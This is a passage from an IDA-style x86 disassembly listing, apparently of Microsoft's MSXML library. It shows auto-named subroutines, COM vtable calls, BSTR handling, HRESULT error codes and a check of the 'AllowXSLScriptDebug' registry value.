		sbb	eax, eax
		and	eax, ecx


loc_69B732AC:				; CODE XREF: sub_69B7326E+Fj
					; sub_69B7326E+25j
		mov	ecx, [esp+0Ch+arg_0]
		push	edi
		push	eax
		call	sub_69B6EAE1
		push	eax
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B7326E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B732C4	proc near		; CODE XREF: sub_69B72A73+24p
		push	30h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B732D6
		mov	ecx, eax
		jmp	sub_69B21DC8
; ---------------------------------------------------------------------------


loc_69B732D6:				; CODE XREF: sub_69B732C4+9j
		xor	eax, eax
		retn	0Ch
sub_69B732C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B732DB	proc near		; CODE XREF: sub_69B706CA+95p

arg_0		= dword	ptr  4

		mov	eax, [ecx+3Ch]
		cmp	eax, 1
		jz	short loc_69B732E7
		sub	eax, [esp+arg_0]


loc_69B732E7:				; CODE XREF: sub_69B732DB+6j
		push	eax
		add	ecx, 2Ch
		push	ecx
		call	sub_69B6B06D
		retn	4
sub_69B732DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B732F4	proc near		; CODE XREF: sub_69B73499+5Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B2DEB2
		push	[esp+4+arg_4]
		mov	ecx, esi
		call	sub_69B72F79
		mov	eax, [esp+4+arg_8]
		mov	[esi+4Ch], eax
		pop	esi
		retn	0Ch
sub_69B732F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7331A	proc near		; CODE XREF: sub_69B73395+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	dword ptr [ecx+30h]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B6E5A7
		test	eax, eax
		jz	short loc_69B73338
		mov	ecx, [esp+arg_4]
		push	eax
		call	sub_69B64999
		mov	al, 1
		jmp	short locret_69B7333A
; ---------------------------------------------------------------------------


loc_69B73338:				; CODE XREF: sub_69B7331A+Ej
		xor	al, al

locret_69B7333A:			; CODE XREF: sub_69B7331A+1Cj
		retn	8
sub_69B7331A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7333D	proc near		; CODE XREF: sub_69B73395+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [ecx+34h]
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+44h]
		test	eax, eax
		jz	short loc_69B73360
		mov	edx, [eax]
		push	0
		mov	ecx, eax
		call	dword ptr [edx+7Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+5Ch]
		mov	esi, eax


loc_69B73360:				; CODE XREF: sub_69B7333D+Fj
		mov	edi, [esp+0Ch+arg_0]
		push	[esp+0Ch+arg_4]
		mov	eax, [edi+28h]
		mov	eax, [eax+18h]
		mov	ebx, [esi]
		push	eax
		lea	ecx, [edi+10h]
		mov	eax, [ecx]
		push	0FFFFFFFFh
		push	0
		call	dword ptr [eax+4]
		push	eax
		push	0
		push	0
		mov	ecx, edi
		call	sub_69B6E571
		push	eax
		mov	ecx, esi
		call	dword ptr [ebx+54h]
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B7333D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73395	proc near		; DATA XREF: .text:69B16170o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		mov	esi, ecx
		jnz	short loc_69B733FC
		push	dword ptr [esi+38h]
		mov	ecx, [edi+28h]
		call	sub_69B715F1
		mov	ebx, eax
		mov	ecx, ebx
		call	sub_69B466CC
		cmp	dword ptr [esi+4Ch], 2
		jnz	short loc_69B733CC
		push	ebx
		push	edi
		mov	ecx, esi
		call	sub_69B7331A
		test	al, al
		jnz	short loc_69B73433


loc_69B733CC:				; CODE XREF: sub_69B73395+28j
		cmp	dword ptr [esi+34h], 0
		mov	ecx, esi
		jz	short loc_69B733DD
		push	ebx
		push	edi
		call	sub_69B7333D
		jmp	short loc_69B73433
; ---------------------------------------------------------------------------


loc_69B733DD:				; CODE XREF: sub_69B73395+3Dj
		push	0
		push	edi
		call	sub_69B72316
		mov	ecx, edi
		call	sub_69B6F1D3
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		mov	ecx, edi
		call	sub_69B6F0B5
		test	eax, eax
		jz	short loc_69B73433


loc_69B733FC:				; CODE XREF: sub_69B73395+Ej
		push	edi
		mov	ecx, esi
		call	sub_69B725AD
		push	dword ptr [esi+38h]
		mov	ecx, [edi+28h]
		call	sub_69B715F1
		mov	ecx, edi
		mov	esi, eax
		call	sub_69B6F238
		push	1
		push	eax
		call	sub_69B67D20
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		mov	ecx, esi
		call	sub_69B64115


loc_69B73433:				; CODE XREF: sub_69B73395+35j
					; sub_69B73395+46j ...
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B73395	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73439	proc near		; DATA XREF: .text:69B16130o
		mov	eax, ecx
		cmp	dword ptr [eax+20h], 1
		jnz	short loc_69B7345F
		mov	ecx, [eax+8]
		test	ecx, ecx
		jz	short loc_69B7344D
		mov	eax, [ecx]
		jmp	dword ptr [eax+3Ch]
; ---------------------------------------------------------------------------


loc_69B7344D:				; CODE XREF: sub_69B73439+Dj
		mov	eax, [eax-20h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+74h]
		test	al, al
		jz	short loc_69B7345F
		push	6
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_69B7345F:				; CODE XREF: sub_69B73439+6j
					; sub_69B73439+20j
		xor	eax, eax
		retn
sub_69B73439	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73462	proc near		; DATA XREF: .text:69B1534Co
					; .text:69B15584o ...
		mov	eax, [ecx+0Ch]
		retn
sub_69B73462	endp

; ---------------------------------------------------------------------------


loc_69B73466:				; DATA XREF: .text:off_69B160F0o
		sub	dword ptr [esp+4], 2Ch
		jmp	sub_69B2D67E
; ---------------------------------------------------------------------------


loc_69B73470:				; DATA XREF: .text:69B160F4o
					; .text:69B2A600o
		sub	dword ptr [esp+4], 2Ch
		jmp	sub_69B17349
; ---------------------------------------------------------------------------


loc_69B7347A:				; DATA XREF: .text:69B160F8o
		sub	dword ptr [esp+4], 2Ch
		jmp	sub_69B183AF
; ---------------------------------------------------------------------------


loc_69B73484:				; DATA XREF: .text:69B160FCo
		sub	ecx, 2Ch
		jmp	sub_69B736D2

; =============== S U B	R O U T	I N E =======================================



sub_69B7348C	proc near		; DATA XREF: .text:69B1612Co
		cmp	dword ptr [ecx+20h], 1
		jnz	short loc_69B73496
		mov	eax, [ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_69B73496:				; CODE XREF: sub_69B7348C+4j
		xor	eax, eax
		retn
sub_69B7348C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B73499	proc near		; CODE XREF: sub_69B70336+3Bp
					; sub_69B7267F+F9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		push	dword_69B9B4E8
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0A8h]
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B734CA
		push	eax
		push	eax
		push	dword_69B9B4E8
		push	0C00CE020h
		call	sub_69B6E277


loc_69B734CA:				; CODE XREF: sub_69B73499+1Dj
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+68h]
		push	1
		push	ebx
		push	0Bh
		call	sub_69B4DE11
		push	[ebp+arg_C]
		mov	eax, [eax+8]
		push	eax
		lea	ecx, [esi+70h]
		call	sub_69B705AD
		push	[ebp+arg_C]
		mov	esi, eax
		push	edi
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B732F4
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B73499	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73502	proc near		; CODE XREF: sub_69B736CA+3j
					; DATA XREF: .text:69B1616Co
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7251E
sub_69B73502	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73539	proc near		; DATA XREF: .text:69B16194o

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		push	8
		push	dword_69B9B508
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B6EA8E
		push	eax
		lea	edi, [esi+34h]
		push	edi
		call	sub_69B17320
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+74h]
		test	al, al
		jz	short loc_69B73582
		xor	eax, eax
		cmp	[edi], eax
		jz	short loc_69B735A3
		push	eax
		push	eax
		push	dword ptr [esi+30h]
		push	0C00CE326h
		call	sub_69B6E277
		jmp	short loc_69B735A3
; ---------------------------------------------------------------------------


loc_69B73582:				; CODE XREF: sub_69B73539+30j
		cmp	dword ptr [edi], 0
		jnz	short loc_69B735A3
		push	offset off_69B1A5AC
		call	sub_69B65631
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	edi
		call	sub_69B17320


loc_69B735A3:				; CODE XREF: sub_69B73539+36j
					; sub_69B73539+47j ...
		push	esi
		lea	ecx, [ebx+70h]
		call	sub_69B7060C
		test	al, al
		jz	short loc_69B735B9
		mov	ecx, [esi+28h]
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+4Ch]


loc_69B735B9:				; CODE XREF: sub_69B73539+75j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B73539	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B735BF	proc near		; CODE XREF: sub_69B70774+39p

arg_4		= dword	ptr  8

		cmp	dword ptr [ecx+4Ch], 3
		jz	short locret_69B735F9
		push	esi
		lea	esi, [ecx+40h]
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B735E9
		push	eax
		mov	eax, [esp+8+arg_4]
		push	dword ptr [ecx+30h]
		mov	ecx, [eax+10h]
		call	sub_69B3182D
		push	0
		push	esi
		call	sub_69B17320
		jmp	short loc_69B735F8
; ---------------------------------------------------------------------------


loc_69B735E9:				; CODE XREF: sub_69B735BF+Ej
		mov	eax, [esp+4+arg_4]
		push	dword ptr [ecx+30h]
		mov	ecx, [eax+10h]
		call	sub_69B17DC6


loc_69B735F8:				; CODE XREF: sub_69B735BF+28j
		pop	esi

locret_69B735F9:			; CODE XREF: sub_69B735BF+4j
		retn	8
sub_69B735BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B735FC	proc near		; CODE XREF: sub_69B706CA+8Bp

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [ecx+48h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B73615
		push	0
		push	2
		call	sub_69B8A458
		push	eax
		push	esi
		call	sub_69B17320


loc_69B73615:				; CODE XREF: sub_69B735FC+7j
		push	[esp+4+arg_0]
		mov	ecx, [esi]
		call	sub_69B8A35C
		pop	esi
		retn	4
sub_69B735FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B73624	proc near		; CODE XREF: sub_69B7051D+26p
					; sub_69B73624+67p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+50h], 2
		jz	short loc_69B73639
		mov	eax, [ebp+arg_0]
		jmp	loc_69B736C5
; ---------------------------------------------------------------------------


loc_69B73639:				; CODE XREF: sub_69B73624+Bj
		push	ebx
		xor	ebx, ebx
		cmp	[esi+4Ch], ebx
		push	edi
		jnz	short loc_69B73651
		push	ebx
		push	ebx
		push	dword ptr [esi+30h]
		push	0C00CE316h
		call	sub_69B6E277


loc_69B73651:				; CODE XREF: sub_69B73624+1Cj
		test	byte ptr [esi+50h], 1
		jz	short loc_69B73666
		push	ebx
		push	ebx
		push	dword ptr [esi+30h]
		push	0C00CE324h
		call	sub_69B6E277


loc_69B73666:				; CODE XREF: sub_69B73624+31j
		or	dword ptr [esi+50h], 1
		lea	edi, [esi+48h]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B736A1
		cmp	[eax+0Ch], ebx
		mov	[ebp+var_4], ebx
		jle	short loc_69B736A1
		mov	ebx, [ebp+arg_0]


loc_69B7367E:				; CODE XREF: sub_69B73624+79j
		push	[ebp+var_4]
		mov	ecx, [edi]
		call	sub_69B8A163
		push	ebx
		mov	ecx, eax
		call	sub_69B73624
		inc	[ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	ebx, eax
		mov	eax, [edi]
		cmp	ecx, [eax+0Ch]
		jl	short loc_69B7367E
		jmp	short loc_69B736A4
; ---------------------------------------------------------------------------


loc_69B736A1:				; CODE XREF: sub_69B73624+4Dj
					; sub_69B73624+55j
		mov	ebx, [ebp+arg_0]


loc_69B736A4:				; CODE XREF: sub_69B73624+7Bj
		and	dword ptr [esi+50h], 0FFFFFFFEh
		push	0
		push	edi
		call	sub_69B17320
		mov	ecx, [esi+28h]
		mov	[esi+38h], ebx
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+4Ch]
		or	dword ptr [esi+50h], 2
		pop	edi
		lea	eax, [ebx+1]
		pop	ebx


loc_69B736C5:				; CODE XREF: sub_69B73624+10j
		pop	esi
		leave
		retn	4
sub_69B73624	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B736CA	proc near		; DATA XREF: .text:69B16124o
		sub	ecx, 2Ch
		jmp	sub_69B73502
sub_69B736CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B736D2	proc near		; CODE XREF: .text:69B73487j
					; DATA XREF: .text:69B16144o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B736ED
		test	[esp+4+arg_0], 1
		jz	short loc_69B736E7
		push	esi
		call	sub_69B1829F


loc_69B736E7:				; CODE XREF: sub_69B736D2+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B736D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B736ED	proc near		; CODE XREF: sub_69B736D2+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		neg	ecx
		lea	eax, [esi+2Ch]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B18700
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7039F
sub_69B736ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7372C	proc near		; CODE XREF: sub_69B705AD+41p
					; sub_69B706CA+4Ap
		push	54h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B7373E
		mov	ecx, eax
		jmp	sub_69B16098
; ---------------------------------------------------------------------------


loc_69B7373E:				; CODE XREF: sub_69B7372C+9j
		xor	eax, eax
		retn	0Ch
sub_69B7372C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B73743	proc near		; CODE XREF: sub_69B73829+9p
					; sub_69B739EC+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
hKey		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	byte_69B9A860, 0
		jz	short loc_69B737B5
		push	4
		pop	eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+hKey]
		push	eax
		push	1
		push	0
		push	offset aSoftwareMicr_3 ; "Software\\Microsoft\\MSXML"
		push	80000001h
		mov	[ebp+var_8], 0FFFFh
		call	ds:SHLWAPI_125
		test	eax, eax
		jnz	short loc_69B737A3
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	offset aAllowxslscript ; "AllowXSLScriptDebug"
		push	[ebp+hKey]
		call	ds:SHLWAPI_128
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; RegCloseKey


loc_69B737A3:				; CODE XREF: sub_69B73743+39j
		cmp	[ebp+var_8], 1
		mov	byte_69B9A860, 0
		setz	byte_69B9B680


loc_69B737B5:				; CODE XREF: sub_69B73743+Dj
		mov	al, byte_69B9B680
		leave
		retn
sub_69B73743	endp

; ---------------------------------------------------------------------------
aSoftwareMicr_3:			; DATA XREF: sub_69B73743+20o
		unicode	0, <Software\Microsoft\MSXML>,0
		align 10h
aAllowxslscript:			; DATA XREF: sub_69B73743+49o
		unicode	0, <AllowXSLScriptDebug>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B73818	proc near		; DATA XREF: .text:69B16000o

arg_4		= dword	ptr  8

		call	ds:GetSystemDefaultLCID	; GetSystemDefaultLCID
		mov	ecx, [esp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		retn	8
sub_69B73818	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73829	proc near		; DATA XREF: .text:69B15FDCo

arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jz	short loc_69B7383F
		call	sub_69B73743
		neg	al
		sbb	eax, eax
		neg	eax
		mov	[esi], eax


loc_69B7383F:				; CODE XREF: sub_69B73829+7j
		mov	eax, [esp+4+arg_C]
		test	eax, eax
		pop	esi
		jz	short loc_69B7384E
		mov	dword ptr [eax], 1


loc_69B7384E:				; CODE XREF: sub_69B73829+1Dj
		xor	eax, eax
		retn	10h
sub_69B73829	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73853	proc near		; CODE XREF: sub_69B70C8D+6p
		mov	eax, [ecx+4]
		test	eax, eax
		jz	short locret_69B73861
		push	eax		; BSTR
		call	SysFreeString

locret_69B73861:			; CODE XREF: sub_69B73853+5j
		retn
sub_69B73853	endp

; ---------------------------------------------------------------------------


loc_69B73862:				; DATA XREF: .text:off_69B15DD8o
		cmp	dword ptr [esp+0Ch], 0
		jnz	short loc_69B73870
		mov	eax, 80004003h
		jmp	short locret_69B738D2
; ---------------------------------------------------------------------------


loc_69B73870:				; CODE XREF: .text:69B73867j
		mov	eax, [esp+8]
		push	ebx
		push	esi
		push	edi
		push	4
		pop	edx
		mov	ecx, edx
		mov	edi, offset stru_69B1CA6C
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B738BD
		mov	ecx, edx
		mov	edi, offset dword_69B2AFE0
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B738BD
		mov	ecx, edx
		mov	edi, (offset dword_69B2B088+8)
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B738BD
		mov	esi, eax
		mov	ecx, edx
		mov	edi, (offset loc_69B2B07C+4)
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B738BD
		mov	eax, 80004002h
		jmp	short loc_69B738CF
; ---------------------------------------------------------------------------


loc_69B738BD:				; CODE XREF: .text:69B73887j
					; .text:69B73896j ...
		mov	eax, [esp+10h]
		mov	ecx, [esp+18h]
		mov	[ecx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax


loc_69B738CF:				; CODE XREF: .text:69B738BBj
		pop	edi
		pop	esi
		pop	ebx

locret_69B738D2:			; CODE XREF: .text:69B7386Ej
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================



sub_69B738D5	proc near		; CODE XREF: sub_69B73C9C+24p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_69B738E6
		push	eax		; BSTR
		call	SysFreeString


loc_69B738E6:				; CODE XREF: sub_69B738D5+8j
		mov	eax, [esp+4+arg_0]
		mov	[esi+4], eax
		pop	esi
		retn	4
sub_69B738D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B738F1	proc near		; DATA XREF: .text:69B15E78o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jnz	short loc_69B73901
		mov	eax, 80004003h
		jmp	short loc_69B73925
; ---------------------------------------------------------------------------


loc_69B73901:				; CODE XREF: sub_69B738F1+7j
		and	dword ptr [esi], 0
		mov	eax, [esp+4+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_69B73923
		push	eax		; OLECHAR *
		call	SysAllocString
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_69B73923
		mov	eax, 8007000Eh
		jmp	short loc_69B73925
; ---------------------------------------------------------------------------


loc_69B73923:				; CODE XREF: sub_69B738F1+1Cj
					; sub_69B738F1+29j
		xor	eax, eax


loc_69B73925:				; CODE XREF: sub_69B738F1+Ej
					; sub_69B738F1+30j
		pop	esi
		retn	8
sub_69B738F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B73929	proc near		; DATA XREF: .text:69B16004o
		push	20h
		push	offset dword_69B739E0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B7394E
		mov	eax, 80004005h
		jmp	loc_69B739D7
; ---------------------------------------------------------------------------


loc_69B7394E:				; CODE XREF: sub_69B73929+19j
		mov	edi, [ebp+8]
		lea	ecx, [edi+4]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		mov	esi, [ebp+14h]
		cmp	esi, ebx
		jz	short loc_69B7399F
		push	dword ptr [ebp+0Ch] ; psz2
		push	offset psz1	; "Context"
		call	ds:StrCmpW	; StrCmpW
		test	eax, eax
		jnz	short loc_69B7399D
		mov	eax, [edi+1Ch]
		mov	[ebp-2Ch], eax
		push	eax
		lea	ecx, [eax+8Ch]
		call	sub_69B70BCE
		mov	[esi], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		jmp	short loc_69B7399F
; ---------------------------------------------------------------------------


loc_69B7399D:				; CODE XREF: sub_69B73929+56j
		mov	[esi], ebx


loc_69B7399F:				; CODE XREF: sub_69B73929+44j
					; sub_69B73929+72j
		mov	[ebp-30h], ebx
		jmp	short loc_69B739BF
; ---------------------------------------------------------------------------


loc_69B739A4:				; DATA XREF: .text:69B739E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B739AD:				; DATA XREF: .text:69B739E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B739BF:				; CODE XREF: sub_69B73929+79j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B739D7:				; CODE XREF: sub_69B73929+20j
		call	sub_69B1853C
		retn	14h
sub_69B73929	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B739E0	dd 0FFFFFFFFh			dd offset loc_69B739A4
		dd offset loc_69B739AD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B739EC	proc near		; CODE XREF: .text:69B70985j
					; .text:69B7098Fj ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_4]
		push	esi
		push	ebx
		call	sub_69B448B2
		cmp	eax, 80004002h
		mov	[ebp+arg_0], eax
		jnz	short loc_69B73A6A
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B040
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B73A1F
		lea	ecx, [ebx+10h]
		jmp	short loc_69B73A52
; ---------------------------------------------------------------------------


loc_69B73A1F:				; CODE XREF: sub_69B739EC+2Cj
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AF40
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B73A35
		lea	ecx, [ebx+18h]
		jmp	short loc_69B73A52
; ---------------------------------------------------------------------------


loc_69B73A35:				; CODE XREF: sub_69B739EC+42j
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset loc_69B73A74
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B73A69
		call	sub_69B73743
		test	al, al
		jnz	short loc_69B73A69
		lea	ecx, [ebx+14h]


loc_69B73A52:				; CODE XREF: sub_69B739EC+31j
					; sub_69B739EC+47j
		mov	eax, ebx
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		and	[ebp+arg_0], 0


loc_69B73A69:				; CODE XREF: sub_69B739EC+58j
					; sub_69B739EC+61j
		pop	edi


loc_69B73A6A:				; CODE XREF: sub_69B739EC+1Dj
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B739EC	endp

; ---------------------------------------------------------------------------
		align 4


loc_69B73A74:				; DATA XREF: sub_69B739EC+4Fo
		adc	[edi+edx*4], edi
		push	ecx
		or	al, 0CBh
		rcl	byte ptr [ecx],	1
		mov	ch, 0C9h
		add	[eax+7A0E4A24h], ah

; =============== S U B	R O U T	I N E =======================================



sub_69B73A84	proc near		; DATA XREF: .text:69B16014o
		push	54h
		push	offset dword_69B73BE8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B73AA7
		mov	eax, 80004005h
		jmp	loc_69B73BDB
; ---------------------------------------------------------------------------


loc_69B73AA7:				; CODE XREF: sub_69B73A84+17j
		mov	ebx, [ebp+8]
		lea	ecx, [ebx+4]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-2Ch], 0
		push	8
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-4Ch]
		rep stosd
		and	[ebp-4], eax
		mov	esi, [ebp+0Ch]
		mov	eax, [esi]
		lea	ecx, [ebp-4Ch]
		push	ecx
		push	esi
		call	dword ptr [eax+0Ch]
		push	eax
		call	sub_69B8861E
		mov	eax, [esi]
		lea	ecx, [ebp-50h]
		push	ecx
		lea	ecx, [ebp-54h]
		push	ecx
		lea	ecx, [ebp-58h]
		push	ecx
		push	esi
		call	dword ptr [eax+10h]
		push	eax
		call	sub_69B8861E
		mov	eax, [esi]
		lea	ecx, [ebp-2Ch]
		push	ecx
		push	esi
		call	dword ptr [eax+14h]
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_69B6FE64
		mov	esi, eax
		mov	[ebp-5Ch], esi
		push	0Ah
		mov	ecx, esi
		call	sub_69B88E7C
		xor	edi, edi
		push	edi
		push	dword ptr [ebp-50h]
		call	sub_69B2F0F7
		push	eax
		push	dword ptr [ebp-54h]
		call	sub_69B2F0F7
		push	eax
		push	0C00CE308h
		call	sub_69B2F944
		add	esp, 10h
		push	eax
		mov	ecx, esi
		call	sub_69B88EA5
		cmp	[ebp-2Ch], edi
		jz	short loc_69B73B56
		push	dword ptr [ebp-2Ch] ; lpString
		mov	ecx, esi
		call	sub_69B88E04
		jmp	short loc_69B73B6B
; ---------------------------------------------------------------------------


loc_69B73B56:				; CODE XREF: sub_69B73A84+C4j
		push	edi
		push	0C00CE309h
		call	sub_69B2F944
		pop	ecx
		pop	ecx
		push	eax
		mov	ecx, esi
		call	sub_69B88EA5


loc_69B73B6B:				; CODE XREF: sub_69B73A84+D0j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		push	eax
		push	80020009h
		call	sub_69B1D342
		mov	[ebp-60h], eax
		push	eax
		call	sub_69B2E818
		push	dword ptr [ebp-60h]
		lea	ecx, [ebx+20h]
		call	sub_69B199CC
		mov	[ebp-64h], edi
		jmp	short loc_69B73BA9
; ---------------------------------------------------------------------------


loc_69B73B96:				; DATA XREF: .text:69B73BECo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B73B9F:				; DATA XREF: .text:69B73BF0o
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-64h], 1


loc_69B73BA9:				; CODE XREF: sub_69B73A84+110j
